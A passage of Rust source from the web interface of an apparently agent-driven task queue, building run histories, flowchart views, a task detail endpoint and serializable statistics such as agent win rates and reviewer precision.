6316        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6317        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6318        None => "whether its attempt was handed back was not recorded",
6319    };
6320    let pass_note = if passes_of_run > 1 {
6321        format!(
6322            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6323        )
6324    } else {
6325        String::new()
6326    };
6327    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6328        // The run recorded this pass's end when it happened.
6329        let cause = match v.end {
6330            "parked" => format!("It was stopped on purpose: {}.", v.label),
6331            _ => format!("It {}.", v.label),
6332        };
6333        format!(
6334            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6335            capitalise(cost_words)
6336        )
6337    } else if let Some(k) = resumed_later {
6338        // A run is only picked up again while it is unfinished, so an earlier
6339        // pass of a repeated id stopped short; the record keeps only the run's
6340        // latest status, which is left to the pass that carried it on.
6341        // Only the latest state is recorded: `parked` is cleared on resume
6342        // and `quota` accumulates across passes, so neither says why *this*
6343        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6344        let cause = if s.quota.is_empty() {
6345            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6346        } else {
6347            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6348        };
6349        format!(
6350            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6351        )
6352    } else if s.parked {
6353        match recorded_end.and_then(|v| v.cause.as_ref()) {
6354            Some(cause) => format!(
6355                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6356                cause.label(),
6357                cost_words
6358            ),
6359            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6360                .to_owned(),
6361        }
6362    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6363        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6364    } else if !status.done()
6365        || matches!(
6366            status,
6367            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6368        )
6369    {
6370        String::new()
6371    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6372        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6373    {
6374        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6375            .to_owned()
6376    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6377        " It left a pull request open, so the task was held for a person rather than retried."
6378            .to_owned()
6379    } else if matches!(status, RunStatus::VerifiedNoop) {
6380        " Held for a person to check the claim.".to_owned()
6381    } else if last {
6382        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6383    } else {
6384        " It spent an attempt, and the task moved on to the next run.".to_owned()
6385    };
6386    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6387    let mut attempt = exit.cost();
6388    let mut exit_label = None;
6389    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6390        let spent = match v.cost {
6391            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6392            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6393            None if resumed_later.is_some() => ", refund not recorded",
6394            None => ", attempt refunded",
6395        };
6396        attempt = match v.cost {
6397            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6398            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6399            None if resumed_later.is_some() => AttemptCost::Unknown,
6400            None => attempt,
6401        };
6402        if v.end == "parked" {
6403            exit = RunExit::Parked;
6404            exit_label = Some(match v.cause.as_ref() {
6405                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6406                    format!("parked for {}{spent}", c.label())
6407                }
6408                Some(c) => format!("parked ({}){spent}", c.label()),
6409                None => format!("parked{spent}"),
6410            });
6411        } else {
6412            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6413        }
6414    }
6415    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6416    TaskRunView {
6417        activity: None,
6418        n,
6419        id: id.to_owned(),
6420        short,
6421        kind,
6422        status: Some(status.as_str()),
6423        readable: true,
6424        provisional,
6425        description,
6426        outcome: format!("{head}{why}"),
6427        created_at: Some(s.created_at),
6428        pr: s.pr.as_ref().map(|p| p.url.clone()),
6429        exit,
6430        attempt,
6431        exit_label,
6432        later_pass: resumed_later,
6433        pass_n,
6434        passes_of_run,
6435        pass: view,
6436        branch: branch.map(str::to_owned),
6437        badge: None,
6438    }
6439}
6440
6441fn capitalise(s: &str) -> String {
6442    let mut c = s.chars();
6443    c.next().map_or_else(String::new, |f| {
6444        f.to_uppercase().collect::<String>() + c.as_str()
6445    })
6446}
6447
6448/// One box of the task's flowchart.
6449#[derive(Debug, Serialize, PartialEq)]
6450struct FlowNode {
6451    /// Unique by position: a resumed run id appears once per pass.
6452    key: String,
6453    /// `chat`, `followup`, `start`, `run` or `end`.
6454    kind: &'static str,
6455    label: String,
6456    /// Run status (or the task's, for `end`); `None` when it is not a fact
6457    /// about this box (unreadable, or a pass the run later resumed from).
6458    status: Option<&'static str>,
6459    /// Whose status `status` is, so the client picks the right colour table:
6460    /// `task` (the `followup` parent and `end`) or `run`.
6461    status_of: &'static str,
6462    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6463    note: Option<&'static str>,
6464    run_kind: Option<&'static str>,
6465    detail: Option<String>,
6466    /// A readable run with a real verdict; a stall never is.
6467    decided: bool,
6468    readable: bool,
6469    href: Option<String>,
6470    /// Overrides `status` as the badge word (`stale` / `superseded`).
6471    badge: Option<String>,
6472    /// Start of this entry, never the run's latest update or pass settlement.
6473    started_at: Option<Timestamp>,
6474    /// Context links (chat / follow-up) do not represent execution entries.
6475    time_expected: bool,
6476}
6477
6478#[derive(Debug, Serialize, PartialEq)]
6479struct FlowEdge {
6480    from: String,
6481    to: String,
6482    label: String,
6483    attempt: AttemptCost,
6484}
6485
6486#[derive(Debug, Serialize, PartialEq)]
6487struct FlowView {
6488    nodes: Vec<FlowNode>,
6489    edges: Vec<FlowEdge>,
6490    /// Attempts the task has counted since it was last released.
6491    attempts: usize,
6492    max_attempts: usize,
6493    /// Entries in the run list (passes), and how many distinct runs they are.
6494    /// Neither is the number of attempts consumed.
6495    passes: usize,
6496    runs: usize,
6497}
6498
6499/// Turn a task and its described runs into the flowchart's boxes and arrows.
6500/// Pure: the page only draws what this returns.
6501///
6502/// A follow-up opens with its parent (or the merged run) unless the task's
6503/// *source* is itself a chat, in which case the chat stays first and the
6504/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6505/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6506/// two normally do not coincide and the nearer origin wins.
6507fn task_flow(
6508    task: &Task,
6509    history: &[TaskRunView],
6510    max_attempts: usize,
6511    origin: Option<&FollowUpOrigin>,
6512) -> FlowView {
6513    let max_attempts = task.effective_attempt_limit(max_attempts);
6514    let node = |key: &str, kind, label: String| FlowNode {
6515        key: key.to_owned(),
6516        kind,
6517        label,
6518        status: None,
6519        status_of: "run",
6520        note: None,
6521        run_kind: None,
6522        detail: None,
6523        decided: false,
6524        readable: true,
6525        href: None,
6526        badge: None,
6527        started_at: None,
6528        time_expected: matches!(kind, "start" | "run" | "end"),
6529    };
6530    let mut nodes = Vec::new();
6531    let mut edges: Vec<FlowEdge> = Vec::new();
6532    // A task queued from a chat opens the flow with that conversation.
6533    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6534        let mut n = node(
6535            "chat",
6536            "chat",
6537            format!("Chat {}", crate::queue::short(&link.id)),
6538        );
6539        n.href = Some(link.href);
6540        nodes.push(n);
6541        edges.push(FlowEdge {
6542            from: "chat".to_owned(),
6543            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6544            label: "queued from chat".to_owned(),
6545            attempt: AttemptCost::None,
6546        });
6547    }
6548    if let Some(o) = origin {
6549        let mut n = match &o.parent {
6550            Some(p) => {
6551                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6552                n.status = Some(p.status);
6553                n.status_of = "task";
6554                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6555                n.href = Some(p.href.clone());
6556                n
6557            }
6558            None => {
6559                let mut n = node(
6560                    "origin",
6561                    "followup",
6562                    format!("Follow-up of run {}", o.run.short),
6563                );
6564                n.detail = Some("merged run".to_owned());
6565                n.status = o.run.status;
6566                n.href = o.run.href.clone();
6567                if o.run.href.is_none() {
6568                    n.readable = false;
6569                    n.note = Some("unreadable");
6570                }
6571                n
6572            }
6573        };
6574        n.decided = true;
6575        let from = n.key.clone();
6576        nodes.push(n);
6577        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6578        let more = o.findings.len().saturating_sub(shown.len());
6579        let label = match (shown.is_empty(), more) {
6580            (true, _) => "open findings".to_owned(),
6581            (false, 0) => format!("open findings {}", shown.join(", ")),
6582            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6583        };
6584        edges.push(FlowEdge {
6585            from,
6586            to: "start".to_owned(),
6587            label,
6588            attempt: AttemptCost::None,
6589        });
6590    }
6591    let mut start = node("start", "start", "Task queued".to_owned());
6592    start.started_at = Some(task.created_at);
6593    nodes.push(start);
6594    let mut prev = "start".to_owned();
6595    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6596    for (i, h) in history.iter().enumerate() {
6597        let key = format!("run-{}", h.n);
6598        let mut n = node(&key, "run", format!("Run {}", h.short));
6599        // Creation marks only the first pass of legacy runs. A resumed pass
6600        // without a record must not inherit the original run's start time.
6601        n.started_at = h
6602            .readable
6603            .then(|| {
6604                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6605                    h.created_at
6606                } else {
6607                    None
6608                })
6609            })
6610            .flatten();
6611        n.run_kind = Some(h.kind);
6612        n.readable = h.readable;
6613        n.href = Some(format!("#/runs/{}", h.id));
6614        n.decided = h.readable && !h.provisional;
6615        n.detail = h
6616            .branch
6617            .as_ref()
6618            .map(|b| format!("review-only run of branch {b}"));
6619        match h.exit {
6620            RunExit::Unreadable => n.note = Some("unreadable"),
6621            RunExit::Interrupted => n.note = Some("interrupted"),
6622            // An earlier pass the run recorded as parked: the status shown
6623            // would be the run's current one, not this pass's.
6624            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6625            _ => {
6626                n.status = h.status;
6627                n.badge = h.badge.clone();
6628                if h.provisional {
6629                    n.note = Some("no verdict");
6630                }
6631            }
6632        }
6633        let into = match h.kind {
6634            "review" => Some(format!(
6635                "review-only run of branch {}",
6636                h.branch.as_deref().unwrap_or("?")
6637            )),
6638            "resume" => Some("resume the same run".to_owned()),
6639            _ if i > 0 => Some("retry".to_owned()),
6640            _ => None,
6641        };
6642        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6643        let label = match (prev_exit, into) {
6644            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6645            (Some((_, l, _)), None) => l,
6646            (None, Some(i)) => i,
6647            (None, None) => "claimed".to_owned(),
6648        };
6649        edges.push(FlowEdge {
6650            from: prev.clone(),
6651            to: key.clone(),
6652            label,
6653            attempt,
6654        });
6655        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6656        prev = key;
6657        nodes.push(n);
6658    }
6659    let mut end = node("end", "end", task.status.as_str().to_owned());
6660    end.status = Some(task.status.as_str());
6661    end.status_of = "task";
6662    // Other task states do not persist their transition start. In particular,
6663    // blocked_at can change while the task remains blocked.
6664    if task.status == TaskStatus::Held {
6665        end.started_at = task.held_at;
6666    }
6667    nodes.push(end);
6668    let (label, attempt) = match prev_exit {
6669        None => (
6670            format!("no run yet \u{2192} {}", task.status.as_str()),
6671            AttemptCost::None,
6672        ),
6673        Some((e, l, cost)) if e.explains(task.status) => {
6674            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6675        }
6676        Some((_, _, cost)) => (
6677            format!("closed by hand: task is {}", task.status.as_str()),
6678            cost,
6679        ),
6680    };
6681    edges.push(FlowEdge {
6682        from: prev,
6683        to: "end".to_owned(),
6684        label,
6685        attempt,
6686    });
6687    FlowView {
6688        nodes,
6689        edges,
6690        attempts: task.attempts,
6691        max_attempts,
6692        passes: history.len(),
6693        runs: distinct_runs(&task.runs),
6694    }
6695}
6696
6697/// How many different run ids a task's run list names.
6698fn distinct_runs(runs: &[String]) -> usize {
6699    let mut seen: Vec<&str> = Vec::new();
6700    for r in runs {
6701        if !seen.contains(&r.as_str()) {
6702            seen.push(r);
6703        }
6704    }
6705    seen.len()
6706}
6707
6708/// Describe recorded task passes, retaining unrecorded legacy list entries.
6709fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6710    let mut slots = Vec::new();
6711    let mut seen = Vec::new();
6712    for run_id in &task.runs {
6713        if seen.contains(&run_id) {
6714            continue;
6715        }
6716        seen.push(run_id);
6717        let state = read(run_id);
6718        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6719            s.passes
6720                .iter()
6721                .filter(|p| {
6722                    p.task_entry
6723                        || task
6724                            .passes
6725                            .iter()
6726                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6727                })
6728                .cloned()
6729                .collect()
6730        });
6731        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6732        let total = legacy_count.max(mine.len());
6733        let offset = total - mine.len();
6734        for k in 0..total {
6735            // Legacy repeated entries retain their original positions. When
6736            // ids are unique, recorded pass times recover the resume order.
6737            let position = task
6738                .runs
6739                .iter()
6740                .enumerate()
6741                .filter(|(_, r)| *r == run_id)
6742                .nth(k.min(legacy_count - 1))
6743                .unwrap()
6744                .0;
6745            slots.push((
6746                run_id,
6747                state.clone(),
6748                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6749                position,
6750            ));
6751        }
6752    }
6753    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6754        slots.sort_by_key(|(_, state, pass, _)| {
6755            pass.as_ref()
6756                .map(|p| p.started_at)
6757                .or_else(|| state.as_ref().map(|s| s.created_at))
6758                .map_or((true, task.created_at), |at| (false, at))
6759        });
6760    } else {
6761        slots.sort_by_key(|(_, _, _, position)| *position);
6762    }
6763    let mut history = Vec::with_capacity(slots.len());
6764    let mut seen: Vec<&str> = Vec::new();
6765    let mut prior: Option<(&str, RunStatus)> = None;
6766    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6767        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6768        let resumed = k > 0;
6769        seen.push(run_id);
6770        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6771        let pass = pass.as_ref();
6772        let settled = pass.and_then(|p| {
6773            task.passes
6774                .iter()
6775                .find(|t| t.run == **run_id && t.pass_index == p.index)
6776        });
6777        history.push(task_run_view(
6778            run_id,
6779            state.as_ref(),
6780            RunSlot {
6781                n: i + 1,
6782                resumed,
6783                resumed_later: slots[i + 1..]
6784                    .iter()
6785                    .position(|(id, _, _, _)| id == run_id)
6786                    .map(|off| i + off + 2),
6787                prior,
6788                last: i + 1 == slots.len(),
6789                pass,
6790                settled,
6791                pass_n: k + 1,
6792                passes_of_run: total,
6793            },
6794            task,
6795        ));
6796        if let Some(s) = &state {
6797            prior = Some((run::short_of(run_id), s.status));
6798        }
6799    }
6800    history
6801}
6802
6803/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6804/// An earlier pass of a resumed run keeps no badge (it has no status box).
6805fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6806    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6807        return;
6808    }
6809    let (_, claimed, _) = run_row_inputs(ui);
6810    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6811    for h in history
6812        .iter_mut()
6813        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6814    {
6815        let Ok(state) = read_run(&ui.runs, &h.id) else {
6816            continue;
6817        };
6818        if state.status.done() {
6819            continue;
6820        }
6821        let live = state.liveness_with(
6822            claimed.contains(&h.id),
6823            |p| probe.borrow_mut().status(p),
6824            |p| probe.borrow_mut().started_at(p),
6825        );
6826        let waiting = !ui.questions.open_for(&h.id).is_empty();
6827        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6828        let display = run_display_status(&state, waiting, live);
6829        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6830        if matches!(word.as_str(), "stale" | "superseded")
6831            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6832        {
6833            h.badge = Some(word);
6834        }
6835    }
6836}
6837
6838async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6839    blocking(move || {
6840        let id = resolve_task(&ui.queue, &id)?;
6841        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6842    })
6843    .await
6844}
6845
6846async fn task_detail(
6847    State(ui): State<Arc<Ui>>,
6848    Path(id): Path<String>,
6849) -> ApiResult<Json<TaskDetailView>> {
6850    blocking(move || {
6851        let id = resolve_task(&ui.queue, &id)?;
6852        let task = ui
6853            .queue
6854            .get(&id)
6855            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6856        let inv = if task.status == TaskStatus::Blocked {
6857            Some(crate::blockers::Inventory::load_for(
6858                &ui.queue,
6859                &ui.questions,
6860                &task,
6861            ))
6862        } else {
6863            None
6864        };
6865        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6866        mark_badges(&ui, &task, &mut history);
6867        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6868        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6869        let origin = task.followup.as_ref().map(|fu| {
6870            followup_origin(
6871                fu,
6872                |tid| ui.queue.get(tid).ok(),
6873                |rid| read_run(&ui.runs, rid).ok(),
6874            )
6875        });
6876        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6877        let task_view = match inv.as_ref() {
6878            Some(inv) => TaskView::with_inventory(task, inv),
6879            None => TaskView::from(task),
6880        }
6881        .with_recovery_decisions(&ui.questions);
6882        Ok(Json(TaskDetailView {
6883            max_attempts,
6884            flow,
6885            followup_origin: origin,
6886            passes_total: history.len(),
6887            runs_distinct: distinct_runs(&task_view.task.runs),
6888            history,
6889            runs_unreadable,
6890            attempts_note: ATTEMPTS_NOTE,
6891            task: task_view,
6892        }))
6893    })
6894    .await
6895}
6896
6897/// A rate together with its denominator, so the client can tell "computed as
6898/// 0%" apart from "no data to compute it from" — both would otherwise
6899/// serialize as `0.0`. `None` means the denominator was zero.
6900#[derive(Debug, Serialize)]
6901struct RateView {
6902    pct: f64,
6903    denominator: usize,
6904}
6905
6906impl RateView {
6907    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6908        (denominator > 0).then(|| Self {
6909            pct: 100.0 * numerator as f64 / denominator as f64,
6910            denominator,
6911        })
6912    }
6913}
6914
6915/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6916/// rates, each paired with its own denominator via [`RateView`] rather than
6917/// exposing `Stats`' own percentage methods directly — see this module's
6918/// doc for why `Stats` itself is never serialized.
6919#[derive(Debug, Serialize)]
6920struct StatsTotalsView {
6921    runs: usize,
6922    merged: usize,
6923    ready: usize,
6924    blocked: usize,
6925    failed: usize,
6926    stalled: usize,
6927    verified_noop: usize,
6928    superseded: usize,
6929    in_progress: usize,
6930    completion_rate: Option<RateView>,
6931    tallied: usize,
6932    split: usize,
6933    split_rate: Option<RateView>,
6934    deliberated: usize,
6935    minds_changed: usize,
6936    converged: usize,
6937    review_rounds: usize,
6938}
6939
6940impl From<&stats::Totals> for StatsTotalsView {
6941    fn from(t: &stats::Totals) -> Self {
6942        Self {
6943            runs: t.runs,
6944            merged: t.merged,
6945            ready: t.ready,
6946            blocked: t.blocked,
6947            failed: t.failed,
6948            stalled: t.stalled,
6949            verified_noop: t.verified_noop,
6950            superseded: t.superseded,
6951            in_progress: t.in_progress,
6952            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6953            tallied: t.tallied,
6954            split: t.split,
6955            split_rate: RateView::of(t.split, t.tallied),
6956            deliberated: t.deliberated,
6957            minds_changed: t.minds_changed,
6958            converged: t.converged,
6959            review_rounds: t.review_rounds,
6960        }
6961    }
6962}
6963
6964/// [`crate::stats::AgentStats`] for the wire.
6965#[derive(Debug, Serialize)]
6966struct AgentStatsView {
6967    agent: String,
6968    entered: usize,
6969    wins: usize,
6970    empty: usize,
6971    win_rate: Option<RateView>,
6972    competitive_entered: usize,
6973    competitive_wins: usize,
6974    competitive_win_rate: Option<RateView>,
6975    solo_entered: usize,
6976    solo_adopted: usize,
6977    solo_adoption_rate: Option<RateView>,
6978}
6979
6980impl From<&stats::AgentStats> for AgentStatsView {
6981    fn from(a: &stats::AgentStats) -> Self {
6982        Self {
6983            agent: a.agent.clone(),
6984            entered: a.entered,
6985            wins: a.wins,
6986            empty: a.empty,
6987            win_rate: RateView::of(a.wins, a.entered),
6988            competitive_entered: a.competitive_entered,
6989            competitive_wins: a.competitive_wins,
6990            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6991            solo_entered: a.solo_entered,
6992            solo_adopted: a.solo_adopted,
6993            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6994        }
6995    }
6996}
6997
6998/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6999/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7000/// value, `None` when `rounds` is zero.
7001#[derive(Debug, Serialize)]
7002struct ReviewerStatsView {
7003    agent: String,
7004    rounds: usize,
7005    seated: usize,
7006    submitted: usize,
7007    adopted: usize,
7008    unique: usize,
7009    timeouts: usize,
7010    adopted_per_round: Option<f64>,
7011    precision: Option<RateView>,
7012    unique_rate: Option<RateView>,
7013    timeout_rate: Option<RateView>,
7014}
7015
7016impl From<&stats::ReviewerStats> for ReviewerStatsView {
7017    fn from(r: &stats::ReviewerStats) -> Self {
7018        Self {
7019            agent: r.agent.clone(),
7020            rounds: r.rounds,
7021            seated: r.seated,
7022            submitted: r.submitted,
7023            adopted: r.adopted,
7024            unique: r.unique,
7025            timeouts: r.timeouts,
7026            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7027            precision: RateView::of(r.adopted, r.submitted),
7028            unique_rate: RateView::of(r.unique, r.submitted),
7029            timeout_rate: RateView::of(r.timeouts, r.seated),
7030        }
7031    }
7032}
7033
7034/// [`crate::stats::AdvisorStats`] for the wire.
7035///
7036/// `reflection_rate` is approximate by construction — see
7037/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7038/// that caveat is static text in `index.html`, not a field here.
7039#[derive(Debug, Serialize)]
7040struct AdvisorStatsView {
7041    agent: String,
7042    seated: usize,
7043    proposed: usize,
7044    absent: usize,
7045    faint: usize,
7046    strong: usize,
7047    reflection_rate: Option<RateView>,
7048}
7049
7050impl From<&stats::AdvisorStats> for AdvisorStatsView {
7051    fn from(a: &stats::AdvisorStats) -> Self {
7052        Self {
7053            agent: a.agent.clone(),
7054            seated: a.seated,
7055            proposed: a.proposed,
7056            absent: a.absent,
7057            faint: a.faint,
7058            strong: a.strong,
7059            reflection_rate: RateView::of(a.strong, a.proposed),
7060        }
7061    }
7062}
7063
7064/// [`crate::stats::E2eStats`] for the wire.
7065#[derive(Debug, Serialize)]
7066struct E2eStatsView {
7067    rounds: usize,
7068    failures: usize,
7069    sole_detections: usize,
7070    deferred: usize,
7071    sole_rate: Option<RateView>,
7072}
7073
7074impl From<&stats::E2eStats> for E2eStatsView {
7075    fn from(e: &stats::E2eStats) -> Self {
7076        Self {
7077            rounds: e.rounds,
7078            failures: e.failures,
7079            sole_detections: e.sole_detections,
7080            deferred: e.deferred,
7081            sole_rate: RateView::of(e.sole_detections, e.failures),
7082        }
7083    }
7084}
7085
7086/// [`crate::stats::ReleaseBumpStats`] for the wire.
7087///
7088/// `clean` is sent as a raw count, computed the same way
7089/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7090/// needs_attention`) — never derived client-side from `automerge_enabled`,
7091/// which would misclassify a `merged_directly` bump (automerge rejected, but
7092/// magi merged it directly, so no human involvement) as needing attention.
7093#[derive(Debug, Serialize)]
7094struct ReleaseBumpStatsView {
7095    merged: usize,
7096    recorded: usize,
7097    pr_opened: usize,
7098    automerge_enabled: usize,
7099    merged_directly: usize,
7100    needs_attention: usize,
7101    clean: usize,
7102    coverage_rate: Option<RateView>,
7103    automerge_rate: Option<RateView>,
7104    attention_rate: Option<RateView>,
7105}
7106
7107impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7108    fn from(b: &stats::ReleaseBumpStats) -> Self {
7109        Self {
7110            merged: b.merged,
7111            recorded: b.recorded,
7112            pr_opened: b.pr_opened,
7113            automerge_enabled: b.automerge_enabled,
7114            merged_directly: b.merged_directly,
7115            needs_attention: b.needs_attention,
7116            clean: b.clean(),
7117            coverage_rate: RateView::of(b.recorded, b.merged),
7118            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7119            attention_rate: RateView::of(b.needs_attention, b.recorded),
7120        }
7121    }
7122}
7123
7124/// [`crate::queue::TaskCounts`] for the wire.
7125#[derive(Debug, Serialize)]
7126struct TaskCountsView {
7127    queued: usize,
7128    running: usize,
7129    done: usize,
7130    failed: usize,
7131    held: usize,
7132    blocked: usize,
7133    parked: usize,
7134}
7135
7136impl From<crate::queue::TaskCounts> for TaskCountsView {
7137    fn from(c: crate::queue::TaskCounts) -> Self {
7138        Self {
7139            queued: c.queued,
7140            running: c.running,
7141            done: c.done,
7142            failed: c.failed,
7143            held: c.held,
7144            blocked: c.blocked,
7145            parked: c.parked,
7146        }
7147    }
7148}
7149
7150/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7151/// runs recorded — the summary the UI's repository selector is built from.
7152/// Carries no nested `Stats`: picking a repo means re-fetching
7153/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7154/// aggregation rather than duplicating it.
7155#[derive(Debug, Serialize)]
7156struct RepoSummaryView {
7157    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7158    /// against, full path and all (see [`stats_get`]'s own doc for why).
7159    repo: String,
7160    /// Display name only; never used for matching.
7161    name: String,
7162    runs: usize,
7163    completion_rate: Option<RateView>,
7164}
7165
7166impl From<&stats::RepoStats> for RepoSummaryView {
7167    fn from(r: &stats::RepoStats) -> Self {
7168        let t = &r.stats.totals;
7169        Self {
7170            repo: r.repo.to_string_lossy().into_owned(),
7171            name: r.name.clone(),
7172            runs: t.runs,
7173            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7174        }
7175    }
7176}
7177
7178/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7179/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7180/// renders from them) are free to grow without that becoming a wire-contract
7181/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7182/// data" from "computed and it really is zero" the way [`RateView`] does.
7183#[derive(Debug, Serialize)]
7184struct StatsView {
7185    totals: StatsTotalsView,
7186    /// Best win rate first, as [`stats::collect`] already sorts it.
7187    agents: Vec<AgentStatsView>,
7188    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7189    reviewers: Vec<ReviewerStatsView>,
7190    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7191    advisors: Vec<AdvisorStatsView>,
7192    e2e: E2eStatsView,
7193    release_bumps: ReleaseBumpStatsView,
7194    queue: Option<TaskCountsView>,
7195    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7196    /// that field's doc. Asserted to match it in
7197    /// `stats_runs_unreadable_matches_health`.
7198    ///
7199    /// Always the whole-workload count, even when `repo` narrows every other
7200    /// field to one repository - an unreadable `run.json` carries no `repo`
7201    /// a per-repository count could attribute it to, and the queue/health
7202    /// views this mirrors never scope it either. The UI must not present it
7203    /// as if it were scoped to the selected repository.
7204    runs_unreadable: usize,
7205    /// Every repository with runs recorded, most runs first - what the UI's
7206    /// repository selector is built from. Always the full list regardless of
7207    /// `repo`, so switching repositories never needs a second request.
7208    repos: Vec<RepoSummaryView>,
7209    /// Runs per local day over the last 30 days, oldest first, always 30
7210    /// entries. Days are the *server's* local dates (the UI must not convert
7211    /// them again), cut by run creation and classified by current status.
7212    /// Narrowed by `repo` like every other run-derived field.
7213    daily: Vec<DailyStatsView>,
7214    /// The `?repo=` value this response was narrowed to, echoed back so the
7215    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7216    /// all-repositories view.
7217    repo: Option<String>,
7218    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7219    /// current config roster no longer lists them. Empty with `?all=true`, an
7220    /// unreadable config, or when nothing was retired.
7221    retired_hidden: Vec<String>,
7222}
7223
7224/// One day of [`StatsView::daily`].
7225#[derive(Debug, Serialize)]
7226struct DailyStatsView {
7227    /// `YYYY-MM-DD`, server-local.
7228    date: String,
7229    runs: usize,
7230    merged: usize,
7231    ready: usize,
7232    other: usize,
7233    /// `None` on a day with no runs, so it never reads as 0%.
7234    completion_rate: Option<RateView>,
7235}
7236
7237impl From<&stats::DayBucket> for DailyStatsView {
7238    fn from(b: &stats::DayBucket) -> Self {
7239        Self {
7240            date: b.date.to_string(),
7241            runs: b.runs,
7242            merged: b.merged,
7243            ready: b.ready,
7244            other: b.other,
7245            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7246        }
7247    }
7248}
7249
7250/// How many days [`StatsView::daily`] covers.
7251const STATS_DAILY_DAYS: usize = 30;
7252
7253/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
